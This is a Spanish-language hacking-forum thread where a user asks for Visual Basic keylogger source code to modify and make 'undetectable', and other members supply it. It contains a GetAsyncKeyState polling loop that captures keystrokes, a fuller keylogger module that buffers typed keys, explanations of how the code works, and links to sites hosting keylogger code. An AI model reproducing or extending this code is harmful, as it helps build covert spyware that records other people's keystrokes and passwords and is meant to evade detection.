Tema destacado: Entra al canal IRC oficial de #elhacker.net
Autor
|
Tema: codigo fuente keylogger (Leído 15,080 veces)
|
|
dxr
|
Ola donde podria encontrar el codigo fuente de un keylogger q este en visual basic para modificarlo y hacerlo indetectable???? no me importa q no tenga notificaion por e-mail.
|
|
|
|
|
En línea
|
Hacer preguntas concretas, claras y aportando toda la documentación necesaria. De lo contrario, no tendreis una respuesta clara.
|
|
|
byebye
Desconectado
Mensajes: 5.093
|
dejate de codigos fuente para modificar y interestate por hacer las cosas por ti mismo. yo te puedo hechar una mano dentro de mis conocimientos. incluso tengo una dll que captura todas las teclas pulsadas en windows que si estas interesado te la puedo mandar.
|
|
|
|
|
En línea
|
|
|
|
|
dxr
|
A ver digamos q yo se de visual basic algo muy muy basico de hacer formaularios condicionales, bucles, check, option button.... y esas cosillas nada de cosas especiales y la verdad esq tendria q mirarme los apuntes entonces la verdad esq nose como empezaria a acer un simple keylogger q me guardara las teclas en un determinado archivo. la verdad sino se por donde empezar....
|
|
|
|
|
En línea
|
Hacer preguntas concretas, claras y aportando toda la documentación necesaria. De lo contrario, no tendreis una respuesta clara.
|
|
|
byebye
Desconectado
Mensajes: 5.093
|
puedes usar GetAsyncKeyState para capturar las teclas pulsadas si no quieres complicarte la vida, por ejemplo añade un textbox a tu formulario en la propiedad enabled le pones false. pon un timer y dentro del timer este codigo Dim i As Integer, a As Integer For i = 0 To 256 a = GetAsyncKeyState(i) If a = -32767 Then Text1.Text = Text1.Text + Chr(i) End If Next si la tecla esta pulsada el valor de a sera -32767 entonces se pone el caracter de i que es la tecla pulsada. no se si me entiendes. hasta aqui ya tienes el codigo para capturar las teclas espero te sirva de idea. el intervalo del timer a 1
|
|
|
|
|
En línea
|
|
|
|
|
dxr
|
As visto te dije q era muy basico lo mio...No entendi bien eso captura q teclas????otra cosa eso lo guardaria en la textbox pero eso al reiniciar se pira abria q hacerlo para q se grabara en un archivo...
|
|
|
|
|
En línea
|
Hacer preguntas concretas, claras y aportando toda la documentación necesaria. De lo contrario, no tendreis una respuesta clara.
|
|
|
byebye
Desconectado
Mensajes: 5.093
|
eso era un ejemplo para que vieses como capturar las teclas. luego tu lo adaptas a tu modo y listo. sobre lo de guardarlo en un archivo es bien sencillo con que leas un poco sobre el tema lo tienes.
|
|
|
|
|
En línea
|
|
|
|
FrOsTeR
Desconectado
Mensajes: 10
|
Bueno men si kieres el codigo de fuente de un keyloggers entra en http://zonahack.vivelared.com/Codigos.htm esa es la url hay un code de un keyloggers  j3j3 SALUDOS  PD: Men trata de no pensar en codigos de fuente y trata de crear algo tu (Y)
|
|
|
|
|
En línea
|
|
|
|
PxM
Desconectado
Mensajes: 309
[PxM]
|
Hey busca en http://www.planet-source-code.com hay seguro encuentras código de varios keyloggers pero NO ROBES CÓDIGO, solo ve la estructura de como se usa; si así como dice Mek es usando getasynckeystate es lo único que necesitas, mas un timer a 1 que esté chekando si la funcion getasinckeystate da el número (no recuerdo cual es  ) y adaptalo al teclado. No creo que sea malo ver código, así aprendí yo, pero soy ético y no copio y pego código de otros, comprendo porqué y a veces mejoro el mismo código.
|
|
|
|
|
En línea
|
|
|
|
Thor
Desconectado
Mensajes: 1.176
|
Hola, he estado buscando por el foro codigos de keylogger y hay muchos post sobre eso, pero en ninguno explica el pork de este codigo: Dim i As Integer, a As Integer For i = 0 To 256 a = GetAsyncKeyState(i) If a = -32767 Then Text1.Text = Text1.Text + Chr(i) End If Next Vale GetAsyncKeyState(i) devuelve -32767 si una tecla ha sido pulsada (en msdn no dice el porqué de este numero o no lo he encontrado). Lo que no se es ¿que hace este bucle?. For i = 0 To 256 Otra cosa, estuve intentando usar las funciones GetKeyNameText y MapVirtualKey, solo he conseguido usar la segunda, pero no consegui k funcionara bien del todo y los signos salian mal (como si usara teclado ingles). ¿Alguien sabe el pork de ese bucle? ¿Alguien ha conseguido usar esas funciones? Gracias.
|
|
|
|
|
En línea
|
|
|
|
alfafa
Desconectado
Mensajes: 113
Tornos
|
El bucle simplemente es para los ASCII, por eso va de 0 a 256. En versión fácil, el codigo declara una variable (i) que usa como contador, y otra (a) que usa como la "respuesta" que devuelve la funcion. Cada vez que se produce el evento Time del timmer (no incluido en el código, pero era lo que decía cara_webo), comprueba todos los caracteres(=teclas) y sus "respuestas"; si la respuesta es el famoso "-32767", quiere decir que la tecla está pulsada, por lo tanto, y en el caso del ejemplo, la traduce a su caracter equivalente con la función Chr() y la añade al texto capturado.
Como es normal, si pulsais la tecla borrar, enter, etc. no os aparecerá por arte de magia en el texto, tendreis que considerar los casos especiales para esas teclas.
Por si hay algún despistado (más que yo), por supuesto hay que declarar la api (GetAsyncKeyState).
|
|
|
|
|
En línea
|
|
|
|
Slasher-K
Desconectado
Mensajes: 1.476
|
En ningún momento Mek habló de un control Timer y usar uno es muy poco eficiente ya que se perderían muchas pulsaciones de teclas. Dejo un ejemplo más claro abajo: ' 'Módulo estándar basKeyLogger.bas ' Option Explicit
Public bLogEnabled As Boolean
Function GetActiveKey() As Integer Static bStarted As Boolean Dim i%
If Not bStarted Then 'Inicializa el estado de las teclas llamando a 'la función GetAsyncKeyState. ' For i = 1 To 256 Call GetAsyncKeyState(i) Next
bStarted = True End If
For i = 1 To 256 'Obtiene la tecla pulsada actualmente. ' If GetAsyncKeyState(i) Then GetActiveKey = i Exit For End If Next End Function
Sub StopLog() bLogEnabled = False End Sub
Sub LogKeys() Dim snTimer! Dim iActiveKey% Dim sChar$, sData$
bLogEnabled = True Do While bLogEnabled snTimer = Timer Do While (Timer - snTimer) < 0.125 'Espera 125 milisegundos hasta 'la próxima pulsación. Loop iActiveKey = GetActiveKey Select Case iActiveKey Case vbKey0 To vbKey9, 32 To 47, vbKeyA To vbKeyZ sChar = Chr$(iActiveKey) sData = sData & sChar Case vbKeyReturn 'Imprime lo que tiene en el buffer. ' Debug.Print sData sData = vbNullString Case Else 'Verifica otras teclas. End Select Loop End Sub
Existe la función ToAscii que simplifica el proceso y te devuelve el caracter presionado, incluso si es un caracter acentuado. Creo que este ejemplo es bastante claro y con un par de modificaciones se puede usar. Saludos.
|
|
|
|
|
En línea
|
A la reina de las profundidades que cuida los pasos de una sombra en la noche :*
|
|
|
alfafa
Desconectado
Mensajes: 113
Tornos
|
Bueno, yo solo he puesto una "explicación" si así puede llamarse de lo que puso cara_webo, él hablada de hacerlo con un timer... pon un timer y dentro del timer este codigo
Si acaso, en vez de usar el control timer del vb te lo montas tu (si lo decías por lo del evento time que puse). Como con todo, hay mejores y peores maneras de hacerlo todo 
|
|
|
|
|
En línea
|
|
|
|
|
|